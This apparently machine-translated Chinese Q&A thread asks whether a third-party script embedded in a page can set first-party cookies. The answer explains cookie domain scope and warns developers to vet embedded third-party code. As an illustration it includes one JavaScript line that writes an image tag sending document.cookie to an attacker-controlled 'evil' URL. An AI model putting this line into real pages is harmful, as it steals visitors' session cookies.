2013-11-24 146 views
3

我已經在網上閱讀了很多關於cookies的內容,但沒有解決這個問題:比方說,我在a.com有一臺服務器,b.com提供的一個網頁在我的網頁上嵌入了一個腳本服務器:第三方腳本可以設置第一方cookie嗎?

<script src='a.com/script.js'></script> 

該腳本允許在設置cookie方面做什麼?它可以用domain=a.com設置一個cookie嗎?我會這麼假設,因爲腳本是從該域中提供的。由於該頁面是從該服務器提供的,它是否也可以使用domain=b.com設置Cookie?

我試圖讓我的頭在我的腳本從另一個主機的網頁調用的上下文中的「第一方」和「第三方」的意思。

回答

3

我不相信.js文件的來源是相關的。 Cookie域與正在呈現的文檔的域有關。

如果我訪問http://www.b.com/它包括

<script src="http://www.a.com/some/file.js"></script> 

然後b.com被信任a.com的代碼以誠信行事。該代碼作爲正在查看的頁面的一部分執行。由於JavaScript代碼將在瀏覽器中執行,因此它可以從b.com中讀取cookie,並通過在文檔中創建一個包含數據的標籤來傳遞該數據。

例如,如果a.com的JavaScript文件包括

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>"); 

然後a.com的惡意網站管理員可以檢查自己的Web服務器日誌,看看b.com的cookie。

所以,問題是,如果a.com是惡意的,爲什麼b.com在他們的頁面中包含來自a.com的代碼?他們可能沒有。作爲網頁開發人員,我們需要驗證我們網站中嵌入的任何第三方代碼的可信度。